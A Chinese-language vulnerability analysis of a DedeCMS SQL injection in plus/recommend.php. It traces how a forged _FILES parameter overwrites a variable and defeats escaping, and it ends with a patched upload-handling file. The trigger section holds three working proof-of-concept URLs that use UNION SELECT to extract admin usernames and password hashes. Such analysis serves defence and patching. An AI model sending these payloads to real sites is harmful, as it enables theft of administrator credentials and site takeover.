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1. 漏洞描述 2. 漏洞觸發(fā)條件 3. 漏洞影響范圍 4. 漏洞代碼分析 5. 防御方法 6. 攻防思考

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1. 漏洞描述

1. dedecms原生提供一個(gè)"本地變量注冊(cè)"的模擬實(shí)現(xiàn)，原則上允許黑客覆蓋任意變量 2. dedecms在實(shí)現(xiàn)本地變量注冊(cè)的時(shí)候，會(huì)對(duì)$_GET、$_POST、$_COOKIE等的value值進(jìn)行addslash轉(zhuǎn)移過濾處理 //$key值注入不在本文討論范圍內(nèi)，詳情參閱：http://www.cnblogs.com/LittleHann/p/4505694.html 3. 在處理文件上傳的邏輯中，存在一條攻擊路徑，程序自己"反處理"了addslash邏輯，使用于閉合的單引號(hào)重新獲得攻擊效果，造成SQL注入

Relevant Link:

http://0day5.com/archives/1346

2. 漏洞觸發(fā)條件

0x1: POC1

plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294?action= &aid=1 &_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+ &_FILES[type][name]=1.jpg &_FILES[type][type]=application/octet-stream &_FILES[type][size]=4294

0x2: POC2

http://DEDD/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\' or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=6873

0x3: POC3

http://DEDE/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\'and+char(@`'`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,group_concat(userid,0x23,pwd),5,6,7,8,9 from `%23@__admin`%23

0x4: POC入侵方式

1. 原始數(shù)據(jù) \%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+2.URL提交進(jìn)來后，\ 和 ’ 分別被轉(zhuǎn)義成 \\ 和 \’ \\\' or mid=@`\\\'`/*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from`#@__admin` limit 0,1),5,6,7,8,9#@`\\\'`3.URL被帶入include/common.inc.php中檢查，此步數(shù)據(jù)未發(fā)生變化4.然后來到了include/uploadsafe.inc.php中，經(jīng)過第行str_replace后，\\被過濾成了\，用于攻擊閉合的單引號(hào)重新獲得攻擊能力 $$_key = $_FILES[$_key]['tmp_name'] =str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']); \\' or mid=@`\\'`/*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from`#@__admin` limit 0,1),5,6,7,8,9#@`\\'` 此時(shí)引號(hào)被成功的帶入了查詢語句中5.回到plus/recommend.php中，第38行，此時(shí)SQL語句被拼成如下： SELECT s.*,t.* FROM `#@_member_stow` AS sLEFT JOIN `#@__member_stowtype` AS t ON s.type=t.stowname WHERE s.aid='1' ANDs.type='\\' or mid=@`\\'` /*!50000union*//*!50000select*/1,2,3,(selectCONCAT(0x7c,userid,0x7c,pwd) from `#@__admin` limit 0,1),5,6,7,8,9#@`\\'` '

Relevant Link:

http://www.xuebuyuan.com/2095280.html http://0day5.com/archives/1346 http://loudong.360.cn/blog/view/id/17

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3. 漏洞影響范圍
4. 漏洞代碼分析

從/plus/recommand.php開始逐步分析

require_once(dirname(__FILE__)."/../include/common.inc.php"); ..

/include/common.inc.php

.. function _RunMagicQuotes(&$svar) {if(!get_magic_quotes_gpc()){if( is_array($svar) ){foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);}else{if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) ){exit('Request var not allow!');}$svar = addslashes($svar);}}return $svar; } ..

只要提交的URL中不包含cfg_|GLOBALS|_GET|_POST|_COOKIE，即可通過檢查，_FILES[type][tmp_name]被帶入
引發(fā)漏洞的入口點(diǎn)在/include/uploadsafe.inc.php

.. //轉(zhuǎn)換上傳的文件相關(guān)的變量及安全處理、并引用前臺(tái)通用的上傳函數(shù) if($_FILES) {require_once(DEDEINC.'/uploadsafe.inc.php'); } ..

/include/uploadsafe.inc.php

.. //URL參數(shù)中的_FILES[type][tmp_name]，$_key為type，$$_key即為$type，從而導(dǎo)致了$type變量的覆蓋 $$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\","\\",$_FILES[$_key]['tmp_name']); ${$_key.'_name'} = $_FILES[$_key]['name']; ${$_key.'_type'} = $_FILES[$_key]['type'] = eregi_replace('[^0-9a-z\./]','',$_FILES[$_key]['type']); ${$_key.'_size'} = $_FILES[$_key]['size'] = ereg_replace('[^0-9]','',$_FILES[$_key]['size']); ..

/plus/recommand.php

//讀取文檔信息 if($action=='') {if($type=='sys'){//讀取文檔信息$arcRow = GetOneArchive($aid);if($arcRow['aid']=='') {ShowMsg("無法把未知文檔推薦給好友!","-1");exit();}extract($arcRow, EXTR_OVERWRITE);} else {//注入語句被帶入數(shù)據(jù)庫查詢，$arcRow=$dsql->GetOne("SELECT s.*,t.* FROM `#@__member_stow` AS s LEFT JOIN `#@__member_stowtype` AS t ON s.type=t.stowname WHERE s.aid='$aid' AND s.type='$type'");if(!is_array($arcRow)){ShowMsg("無法把未知文檔推薦給好友!","-1");exit();}$arcRow['arcurl']=$arcRow['indexurl']."=".$arcRow['aid'];extract($arcRow, EXTR_OVERWRITE);} }

5. 防御方法

/include/uploadsafe.inc.php

/* */ //$$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\","\\",$_FILES[$_key]['tmp_name']); $$_key = $_FILES[$_key]['tmp_name']; /* */ ${$_key.'_name'} = $_FILES[$_key]['name']; ${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']); ${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']); if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) ) {if(!defined('DEDEADMIN')){exit('Not Admin Upload filetype not allow !');} } if(empty(${$_key.'_size'})) {${$_key.'_size'} = @filesize($$_key); }/* 限制上傳文件類型 */ $imtypes = array ( "image/pjpeg", "image/jpeg", "image/gif", "image/png", "image/xpng", "image/wbmp", "image/bmp" );if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes)) {$image_dd = @getimagesize($$_key);if (!is_array($image_dd)){exit('Upload filetype not allow !');} } /* */

6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

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